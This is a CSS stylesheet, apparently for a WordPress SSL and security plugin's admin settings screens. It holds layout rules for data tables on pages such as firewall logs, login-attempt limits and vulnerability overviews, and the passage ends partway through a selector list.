.rsssl-user_agents .rsssl-field-wrap .rsssl-mixed-content-description,
.rsssl-user_agents .rsssl-field-wrap .rsssl-current-scan-action, .rsssl-firewall_logs .rsssl-field-wrap > .components-base-control, .rsssl-firewall_logs .rsssl-field-wrap .rsssl-comment,
.rsssl-firewall_logs .rsssl-field-wrap .rsssl-progress-container,
.rsssl-firewall_logs .rsssl-field-wrap > div > button,
.rsssl-firewall_logs .rsssl-field-wrap .rsssl-learning-mode-footer,
.rsssl-firewall_logs .rsssl-field-wrap .rsssl-mixed-content-description,
.rsssl-firewall_logs .rsssl-field-wrap .rsssl-current-scan-action, .rsssl-permissions_policy .rsssl-field-wrap > .components-base-control, .rsssl-permissions_policy .rsssl-field-wrap .rsssl-comment,
.rsssl-permissions_policy .rsssl-field-wrap .rsssl-progress-container,
.rsssl-permissions_policy .rsssl-field-wrap > div > button,
.rsssl-permissions_policy .rsssl-field-wrap .rsssl-learning-mode-footer,
.rsssl-permissions_policy .rsssl-field-wrap .rsssl-mixed-content-description,
.rsssl-permissions_policy .rsssl-field-wrap .rsssl-current-scan-action, .rsssl-two_fa_users .rsssl-field-wrap > .components-base-control, .rsssl-two_fa_users .rsssl-field-wrap .rsssl-comment,
.rsssl-two_fa_users .rsssl-field-wrap .rsssl-progress-container,
.rsssl-two_fa_users .rsssl-field-wrap > div > button,
.rsssl-two_fa_users .rsssl-field-wrap .rsssl-learning-mode-footer,
.rsssl-two_fa_users .rsssl-field-wrap .rsssl-mixed-content-description,
.rsssl-two_fa_users .rsssl-field-wrap .rsssl-current-scan-action,
.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap > .components-base-control,
.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rsssl-comment,
.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rsssl-progress-container,
.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap > div > button,
.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rsssl-learning-mode-footer,
.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rsssl-mixed-content-description,
.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rsssl-current-scan-action, .rsssl-content_security_policy_source_directives .rsssl-field-wrap > .components-base-control, .rsssl-content_security_policy_source_directives .rsssl-field-wrap .rsssl-comment,
.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rsssl-progress-container,
.rsssl-content_security_policy_source_directives .rsssl-field-wrap > div > button,
.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rsssl-learning-mode-footer,
.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rsssl-mixed-content-description,
.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rsssl-current-scan-action,
.rsssl-firewall_white_list_listing .rsssl-field-wrap > .components-base-control,
.rsssl-firewall_white_list_listing .rsssl-field-wrap .rsssl-comment,
.rsssl-firewall_white_list_listing .rsssl-field-wrap .rsssl-progress-container,
.rsssl-firewall_white_list_listing .rsssl-field-wrap > div > button,
.rsssl-firewall_white_list_listing .rsssl-field-wrap .rsssl-learning-mode-footer,
.rsssl-firewall_white_list_listing .rsssl-field-wrap .rsssl-mixed-content-description,
.rsssl-firewall_white_list_listing .rsssl-field-wrap .rsssl-current-scan-action, .rsssl-firewall_block_list_listing .rsssl-field-wrap > .components-base-control, .rsssl-firewall_block_list_listing .rsssl-field-wrap .rsssl-comment,
.rsssl-firewall_block_list_listing .rsssl-field-wrap .rsssl-progress-container,
.rsssl-firewall_block_list_listing .rsssl-field-wrap > div > button,
.rsssl-firewall_block_list_listing .rsssl-field-wrap .rsssl-learning-mode-footer,
.rsssl-firewall_block_list_listing .rsssl-field-wrap .rsssl-mixed-content-description,
.rsssl-firewall_block_list_listing .rsssl-field-wrap .rsssl-current-scan-action, .rsssl-firewall_list_listing .rsssl-field-wrap > .components-base-control, .rsssl-firewall_list_listing .rsssl-field-wrap .rsssl-comment,
.rsssl-firewall_list_listing .rsssl-field-wrap .rsssl-progress-container,
.rsssl-firewall_list_listing .rsssl-field-wrap > div > button,
.rsssl-firewall_list_listing .rsssl-field-wrap .rsssl-learning-mode-footer,
.rsssl-firewall_list_listing .rsssl-field-wrap .rsssl-mixed-content-description,
.rsssl-firewall_list_listing .rsssl-field-wrap .rsssl-current-scan-action,
.rsssl-vulnerabilities_overview .rsssl-field-wrap > .components-base-control,
.rsssl-vulnerabilities_overview .rsssl-field-wrap .rsssl-comment,
.rsssl-vulnerabilities_overview .rsssl-field-wrap .rsssl-progress-container,
.rsssl-vulnerabilities_overview .rsssl-field-wrap > div > button,
.rsssl-vulnerabilities_overview .rsssl-field-wrap .rsssl-learning-mode-footer,
.rsssl-vulnerabilities_overview .rsssl-field-wrap .rsssl-mixed-content-description,
.rsssl-vulnerabilities_overview .rsssl-field-wrap .rsssl-current-scan-action, .rsssl-limit_login_attempts_country .rsssl-field-wrap > .components-base-control, .rsssl-limit_login_attempts_country .rsssl-field-wrap .rsssl-comment,
.rsssl-limit_login_attempts_country .rsssl-field-wrap .rsssl-progress-container,
.rsssl-limit_login_attempts_country .rsssl-field-wrap > div > button,
.rsssl-limit_login_attempts_country .rsssl-field-wrap .rsssl-learning-mode-footer,
.rsssl-limit_login_attempts_country .rsssl-field-wrap .rsssl-mixed-content-description,
.rsssl-limit_login_attempts_country .rsssl-field-wrap .rsssl-current-scan-action, .rsssl-limit_login_attempts_users .rsssl-field-wrap > .components-base-control, .rsssl-limit_login_attempts_users .rsssl-field-wrap .rsssl-comment,
.rsssl-limit_login_attempts_users .rsssl-field-wrap .rsssl-progress-container,
.rsssl-limit_login_attempts_users .rsssl-field-wrap > div > button,
.rsssl-limit_login_attempts_users .rsssl-field-wrap .rsssl-learning-mode-footer,
.rsssl-limit_login_attempts_users .rsssl-field-wrap .rsssl-mixed-content-description,
.rsssl-limit_login_attempts_users .rsssl-field-wrap .rsssl-current-scan-action,
.rsssl-firewall_event_log_viewer .rsssl-field-wrap > .components-base-control,
.rsssl-firewall_event_log_viewer .rsssl-field-wrap .rsssl-comment,
.rsssl-firewall_event_log_viewer .rsssl-field-wrap .rsssl-progress-container,
.rsssl-firewall_event_log_viewer .rsssl-field-wrap > div > button,
.rsssl-firewall_event_log_viewer .rsssl-field-wrap .rsssl-learning-mode-footer,
.rsssl-firewall_event_log_viewer .rsssl-field-wrap .rsssl-mixed-content-description,
.rsssl-firewall_event_log_viewer .rsssl-field-wrap .rsssl-current-scan-action, .rsssl-firewall_logs_content .rsssl-field-wrap > .components-base-control, .rsssl-firewall_logs_content .rsssl-field-wrap .rsssl-comment,
.rsssl-firewall_logs_content .rsssl-field-wrap .rsssl-progress-container,
.rsssl-firewall_logs_content .rsssl-field-wrap > div > button,
.rsssl-firewall_logs_content .rsssl-field-wrap .rsssl-learning-mode-footer,
.rsssl-firewall_logs_content .rsssl-field-wrap .rsssl-mixed-content-description,
.rsssl-firewall_logs_content .rsssl-field-wrap .rsssl-current-scan-action, .rsssl-limit_login_attempts_event_log .rsssl-field-wrap > .components-base-control, .rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rsssl-comment,
.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rsssl-progress-container,
.rsssl-limit_login_attempts_event_log .rsssl-field-wrap > div > button,
.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rsssl-learning-mode-footer,
.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rsssl-mixed-content-description,
.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rsssl-current-scan-action,
.rsssl-mixed-content-scan .rsssl-field-wrap > .components-base-control,
.rsssl-mixed-content-scan .rsssl-field-wrap .rsssl-comment,
.rsssl-mixed-content-scan .rsssl-field-wrap .rsssl-progress-container,
.rsssl-mixed-content-scan .rsssl-field-wrap > div > button,
.rsssl-mixed-content-scan .rsssl-field-wrap .rsssl-learning-mode-footer,
.rsssl-mixed-content-scan .rsssl-field-wrap .rsssl-mixed-content-description,
.rsssl-mixed-content-scan .rsssl-field-wrap .rsssl-current-scan-action, .rsssl-limit_login_attempts_ip_address .rsssl-field-wrap > .components-base-control, .rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rsssl-comment,
.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rsssl-progress-container,
.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap > div > button,
.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rsssl-learning-mode-footer,
.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rsssl-mixed-content-description,
.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rsssl-current-scan-action, .rsssl-content_security_policy .rsssl-field-wrap > .components-base-control, .rsssl-content_security_policy .rsssl-field-wrap .rsssl-comment,
.rsssl-content_security_policy .rsssl-field-wrap .rsssl-progress-container,
.rsssl-content_security_policy .rsssl-field-wrap > div > button,
.rsssl-content_security_policy .rsssl-field-wrap .rsssl-learning-mode-footer,
.rsssl-content_security_policy .rsssl-field-wrap .rsssl-mixed-content-description,
.rsssl-content_security_policy .rsssl-field-wrap .rsssl-current-scan-action, .rsssl-hardening-xml .rsssl-field-wrap > .components-base-control, .rsssl-hardening-xml .rsssl-field-wrap .rsssl-comment,
.rsssl-hardening-xml .rsssl-field-wrap .rsssl-progress-container,
.rsssl-hardening-xml .rsssl-field-wrap > div > button,
.rsssl-hardening-xml .rsssl-field-wrap .rsssl-learning-mode-footer,
.rsssl-hardening-xml .rsssl-field-wrap .rsssl-mixed-content-description,
.rsssl-hardening-xml .rsssl-field-wrap .rsssl-current-scan-action {
    margin-left: var(--rsp-spacing-l);
    margin-right: var(--rsp-spacing-l);
}

.rsssl-vulnerabilities_measures .rdt_TableCell:first-child, .rsssl-vulnerabilities_measures .rdt_TableCol:first-child, .rsssl-404_blocking .rdt_TableCell:first-child, .rsssl-404_blocking .rdt_TableCol:first-child, .rsssl-user_agents .rdt_TableCell:first-child, .rsssl-user_agents .rdt_TableCol:first-child, .rsssl-firewall_logs .rdt_TableCell:first-child, .rsssl-firewall_logs .rdt_TableCol:first-child, .rsssl-permissions_policy .rdt_TableCell:first-child, .rsssl-permissions_policy .rdt_TableCol:first-child, .rsssl-two_fa_users .rdt_TableCell:first-child, .rsssl-two_fa_users .rdt_TableCol:first-child,
.rsssl-vulnerabilities-measures-overview .rdt_TableCell:first-child,
.rsssl-vulnerabilities-measures-overview .rdt_TableCol:first-child, .rsssl-content_security_policy_source_directives .rdt_TableCell:first-child, .rsssl-content_security_policy_source_directives .rdt_TableCol:first-child,
.rsssl-firewall_white_list_listing .rdt_TableCell:first-child,
.rsssl-firewall_white_list_listing .rdt_TableCol:first-child, .rsssl-firewall_block_list_listing .rdt_TableCell:first-child, .rsssl-firewall_block_list_listing .rdt_TableCol:first-child, .rsssl-firewall_list_listing .rdt_TableCell:first-child, .rsssl-firewall_list_listing .rdt_TableCol:first-child,
.rsssl-vulnerabilities_overview .rdt_TableCell:first-child,
.rsssl-vulnerabilities_overview .rdt_TableCol:first-child, .rsssl-limit_login_attempts_country .rdt_TableCell:first-child, .rsssl-limit_login_attempts_country .rdt_TableCol:first-child, .rsssl-limit_login_attempts_users .rdt_TableCell:first-child, .rsssl-limit_login_attempts_users .rdt_TableCol:first-child,
.rsssl-firewall_event_log_viewer .rdt_TableCell:first-child,
.rsssl-firewall_event_log_viewer .rdt_TableCol:first-child, .rsssl-firewall_logs_content .rdt_TableCell:first-child, .rsssl-firewall_logs_content .rdt_TableCol:first-child, .rsssl-limit_login_attempts_event_log .rdt_TableCell:first-child, .rsssl-limit_login_attempts_event_log .rdt_TableCol:first-child,
.rsssl-mixed-content-scan .rdt_TableCell:first-child,
.rsssl-mixed-content-scan .rdt_TableCol:first-child, .rsssl-limit_login_attempts_ip_address .rdt_TableCell:first-child, .rsssl-limit_login_attempts_ip_address .rdt_TableCol:first-child, .rsssl-content_security_policy .rdt_TableCell:first-child, .rsssl-content_security_policy .rdt_TableCol:first-child, .rsssl-hardening-xml .rdt_TableCell:first-child, .rsssl-hardening-xml .rdt_TableCol:first-child {
    padding-left: var(--rsp-spacing-l);
    padding-right: var(--rsp-spacing-l);
}

.rsssl-vulnerabilities_measures .rdt_TableCell:last-child, .rsssl-vulnerabilities_measures .rdt_TableCol:last-child, .rsssl-404_blocking .rdt_TableCell:last-child, .rsssl-404_blocking .rdt_TableCol:last-child, .rsssl-user_agents .rdt_TableCell:last-child, .rsssl-user_agents .rdt_TableCol:last-child, .rsssl-firewall_logs .rdt_TableCell:last-child, .rsssl-firewall_logs .rdt_TableCol:last-child, .rsssl-permissions_policy .rdt_TableCell:last-child, .rsssl-permissions_policy .rdt_TableCol:last-child, .rsssl-two_fa_users .rdt_TableCell:last-child, .rsssl-two_fa_users .rdt_TableCol:last-child,
.rsssl-vulnerabilities-measures-overview .rdt_TableCell:last-child,
.rsssl-vulnerabilities-measures-overview .rdt_TableCol:last-child, .rsssl-content_security_policy_source_directives .rdt_TableCell:last-child, .rsssl-content_security_policy_source_directives .rdt_TableCol:last-child,
.rsssl-firewall_white_list_listing .rdt_TableCell:last-child,
.rsssl-firewall_white_list_listing .rdt_TableCol:last-child, .rsssl-firewall_block_list_listing .rdt_TableCell:last-child, .rsssl-firewall_block_list_listing .rdt_TableCol:last-child, .rsssl-firewall_list_listing .rdt_TableCell:last-child, .rsssl-firewall_list_listing .rdt_TableCol:last-child,
.rsssl-vulnerabilities_overview .rdt_TableCell:last-child,
.rsssl-vulnerabilities_overview .rdt_TableCol:last-child, .rsssl-limit_login_attempts_country .rdt_TableCell:last-child, .rsssl-limit_login_attempts_country .rdt_TableCol:last-child, .rsssl-limit_login_attempts_users .rdt_TableCell:last-child, .rsssl-limit_login_attempts_users .rdt_TableCol:last-child,
.rsssl-firewall_event_log_viewer .rdt_TableCell:last-child,
.rsssl-firewall_event_log_viewer .rdt_TableCol:last-child, .rsssl-firewall_logs_content .rdt_TableCell:last-child, .rsssl-firewall_logs_content .rdt_TableCol:last-child, .rsssl-limit_login_attempts_event_log .rdt_TableCell:last-child, .rsssl-limit_login_attempts_event_log .rdt_TableCol:last-child,
.rsssl-mixed-content-scan .rdt_TableCell:last-child,
.rsssl-mixed-content-scan .rdt_TableCol:last-child, .rsssl-limit_login_attempts_ip_address .rdt_TableCell:last-child, .rsssl-limit_login_attempts_ip_address .rdt_TableCol:last-child, .rsssl-content_security_policy .rdt_TableCell:last-child, .rsssl-content_security_policy .rdt_TableCol:last-child, .rsssl-hardening-xml .rdt_TableCell:last-child, .rsssl-hardening-xml .rdt_TableCol:last-child {
    padding-right: var(--rsp-spacing-l);
}

/* Section for EdgeCases and other specific styling */
/* EdgeCase: EventLog */
.rsssl-content_security_policy .rdt_TableCell, .rsssl-content_security_policy .rdt_TableCol,
.rsssl-permissions_policy .rdt_TableCell,
.rsssl-permissions_policy .rdt_TableCol,
.rsssl-firewall_list_listing .rdt_TableCell,
.rsssl-firewall_list_listing .rdt_TableCol,
.rsssl-user_agents .rdt_TableCell,
.rsssl-user_agents .rdt_TableCol,
.rsssl-404_blocking .rdt_TableCell,
.rsssl-404_blocking .rdt_TableCol,
.rsssl-firewall_white_list_listing .rdt_TableCell,
.rsssl-firewall_white_list_listing .rdt_TableCol,
.rsssl-firewall_block_list_listing .rdt_TableCell,
.rsssl-firewall_block_list_listing .rdt_TableCol,
.rsssl-hardening-xml .rdt_TableCell,
.rsssl-hardening-xml .rdt_TableCol,
.rsssl-vulnerabilities_overview .rdt_TableCell,
.rsssl-vulnerabilities_overview .rdt_TableCol,
.rsssl-content_security_policy_source_directives .rdt_TableCell,
.rsssl-content_security_policy_source_directives .rdt_TableCol,
.rsssl-vulnerabilities-measures-overview .rdt_TableCell,
.rsssl-vulnerabilities-measures-overview .rdt_TableCol,
.rsssl-limit_login_attempts_ip_address .rdt_TableCell,
.rsssl-limit_login_attempts_ip_address .rdt_TableCol,
.rsssl-limit_login_attempts_users .rdt_TableCell,
.rsssl-limit_login_attempts_users .rdt_TableCol,
.rsssl-limit_login_attempts_country .rdt_TableCell,
.rsssl-limit_login_attempts_country .rdt_TableCol,
.rsssl-two_fa_users .rdt_TableCell,
.rsssl-two_fa_users .rdt_TableCol,
.rsssl-firewall_logs .rdt_TableCell,
.rsssl-firewall_logs .rdt_TableCol,
.rsssl-firewall_logs_content .rdt_TableCell,
.rsssl-firewall_logs_content .rdt_TableCol,
.rsssl-limit_login_attempts_event_log .rdt_TableCell,
.rsssl-limit_login_attempts_event_log .rdt_TableCol {
    min-width: initial;
}

.rsssl-content_security_policy .rdt_Pagination,
.rsssl-permissions_policy .rdt_Pagination,
.rsssl-firewall_list_listing .rdt_Pagination,
.rsssl-user_agents .rdt_Pagination,
.rsssl-404_blocking .rdt_Pagination,
.rsssl-firewall_white_list_listing .rdt_Pagination,
.rsssl-firewall_block_list_listing .rdt_Pagination,
.rsssl-hardening-xml .rdt_Pagination,
.rsssl-vulnerabilities_overview .rdt_Pagination,
.rsssl-content_security_policy_source_directives .rdt_Pagination,
.rsssl-vulnerabilities-measures-overview .rdt_Pagination,
.rsssl-limit_login_attempts_ip_address .rdt_Pagination,
.rsssl-limit_login_attempts_users .rdt_Pagination,
.rsssl-limit_login_attempts_country .rdt_Pagination,
.rsssl-two_fa_users .rdt_Pagination,
.rsssl-firewall_logs .rdt_Pagination,
.rsssl-firewall_logs_content .rdt_Pagination,
.rsssl-limit_login_attempts_event_log .rdt_Pagination {
    margin-top: 0;
    padding: 0 25px;
}

.rsssl-content_security_policy .rdt_tableCell:has(div > .rsssl-action-buttons),
.rsssl-permissions_policy .rdt_tableCell:has(div > .rsssl-action-buttons),
.rsssl-firewall_list_listing .rdt_tableCell:has(div > .rsssl-action-buttons),
.rsssl-user_agents .rdt_tableCell:has(div > .rsssl-action-buttons),
.rsssl-404_blocking .rdt_tableCell:has(div > .rsssl-action-buttons),
.rsssl-firewall_white_list_listing .rdt_tableCell:has(div > .rsssl-action-buttons),
.rsssl-firewall_block_list_listing .rdt_tableCell:has(div > .rsssl-action-buttons),
.rsssl-hardening-xml .rdt_tableCell:has(div > .rsssl-action-buttons),
.rsssl-vulnerabilities_overview .rdt_tableCell:has(div > .rsssl-action-buttons),
.rsssl-content_security_policy_source_directives .rdt_tableCell:has(div > .rsssl-action-buttons),
.rsssl-vulnerabilities-measures-overview .rdt_tableCell:has(div > .rsssl-action-buttons),
.rsssl-limit_login_attempts_ip_address .rdt_tableCell:has(div > .rsssl-action-buttons),
.rsssl-limit_login_attempts_users .rdt_tableCell:has(div > .rsssl-action-buttons),
.rsssl-limit_login_attempts_country .rdt_tableCell:has(div > .rsssl-action-buttons),
.rsssl-two_fa_users .rdt_tableCell:has(div > .rsssl-action-buttons),
.rsssl-firewall_logs .rdt_tableCell:has(div > .rsssl-action-buttons),
.rsssl-firewall_logs_content .rdt_tableCell:has(div > .rsssl-action-buttons),
.rsssl-limit_login_attempts_event_log .rdt_tableCell:has(div > .rsssl-action-buttons) {
    position: relative;
}

.rsssl-content_security_policy .rsssl-field-wrap,
.rsssl-permissions_policy .rsssl-field-wrap,
.rsssl-firewall_list_listing .rsssl-field-wrap,
.rsssl-user_agents .rsssl-field-wrap,
.rsssl-404_blocking .rsssl-field-wrap,
.rsssl-firewall_white_list_listing .rsssl-field-wrap,
.rsssl-firewall_block_list_listing .rsssl-field-wrap,
.rsssl-hardening-xml .rsssl-field-wrap,
.rsssl-vulnerabilities_overview .rsssl-field-wrap,
.rsssl-content_security_policy_source_directives .rsssl-field-wrap,
.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap,
.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap,
.rsssl-limit_login_attempts_users .rsssl-field-wrap,
.rsssl-limit_login_attempts_country .rsssl-field-wrap,
.rsssl-two_fa_users .rsssl-field-wrap,
.rsssl-firewall_logs .rsssl-field-wrap,
.rsssl-firewall_logs_content .rsssl-field-wrap,
.rsssl-limit_login_attempts_event_log .rsssl-field-wrap {
    padding: 0;
}

.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,
.rsssl-permissions_policy .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,
.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,
.rsssl-user_agents .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,
.rsssl-404_blocking .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,
.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,
.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,
.rsssl-hardening-xml .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,
.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,
.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,
.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,
.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,
.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,
.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,
.rsssl-two_fa_users .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,
.rsssl-firewall_logs .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,
.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,
.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child {
    flex-grow: 1;
}

.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableHeadRow,
.rsssl-permissions_policy .rsssl-field-wrap .rdt_TableHeadRow,
.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableHeadRow,
.rsssl-user_agents .rsssl-field-wrap .rdt_TableHeadRow,
.rsssl-404_blocking .rsssl-field-wrap .rdt_TableHeadRow,
.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableHeadRow,
.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableHeadRow,
.rsssl-hardening-xml .rsssl-field-wrap .rdt_TableHeadRow,
.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableHeadRow,
.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableHeadRow,
.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableHeadRow,
.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableHeadRow,
.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableHeadRow,
.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableHeadRow,
.rsssl-two_fa_users .rsssl-field-wrap .rdt_TableHeadRow,
.rsssl-firewall_logs .rsssl-field-wrap .rdt_TableHeadRow,
.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableHeadRow,
.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableHeadRow {
    border: none;
}

.rsssl-content_security_policy .rsssl-field-wrap .rdt_Pagination,
.rsssl-permissions_policy .rsssl-field-wrap .rdt_Pagination,
.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_Pagination,
.rsssl-user_agents .rsssl-field-wrap .rdt_Pagination,
.rsssl-404_blocking .rsssl-field-wrap .rdt_Pagination,
.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_Pagination,
.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_Pagination,
.rsssl-hardening-xml .rsssl-field-wrap .rdt_Pagination,
.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_Pagination,
.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_Pagination,
.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_Pagination,
.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_Pagination,
.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_Pagination,
.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_Pagination,
.rsssl-two_fa_users .rsssl-field-wrap .rdt_Pagination,
.rsssl-firewall_logs .rsssl-field-wrap .rdt_Pagination,
.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_Pagination,
.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_Pagination {
    border: none;
}

.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableBody .rdt_TableRow,
.rsssl-permissions_policy .rsssl-field-wrap .rdt_TableBody .rdt_TableRow,
.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableBody .rdt_TableRow,
.rsssl-user_agents .rsssl-field-wrap .rdt_TableBody .rdt_TableRow,
.rsssl-404_blocking .rsssl-field-wrap .rdt_TableBody .rdt_TableRow,
.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableBody .rdt_TableRow,
.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableBody .rdt_TableRow,
.rsssl-hardening-xml .rsssl-field-wrap .rdt_TableBody .rdt_TableRow,
.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableBody .rdt_TableRow,
.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableBody .rdt_TableRow,
.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableBody .rdt_TableRow,
.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableBody .rdt_TableRow,
.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableBody .rdt_TableRow,
.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableBody .rdt_TableRow,
.rsssl-two_fa_users .rsssl-field-wrap .rdt_TableBody .rdt_TableRow,
.rsssl-firewall_logs .rsssl-field-wrap .rdt_TableBody .rdt_TableRow,
.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableBody .rdt_TableRow,
.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableBody .rdt_TableRow {
    border: none;
}

.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child,
.rsssl-permissions_policy .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child,
.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child,
.rsssl-user_agents .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child,
.rsssl-404_blocking .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child,
.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child,
.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child,
.rsssl-hardening-xml .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child,
.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child,
.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child,
.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child,
.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child,
.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child,
.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child,
.rsssl-two_fa_users .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child,
.rsssl-firewall_logs .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child,
.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child,
.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child {
    flex-grow: 1;
}

.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child,
.rsssl-permissions_policy .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child,
.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child,
.rsssl-user_agents .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child,
.rsssl-404_blocking .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child,
.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child,
.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child,
.rsssl-hardening-xml .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child,
.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child,
.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child,
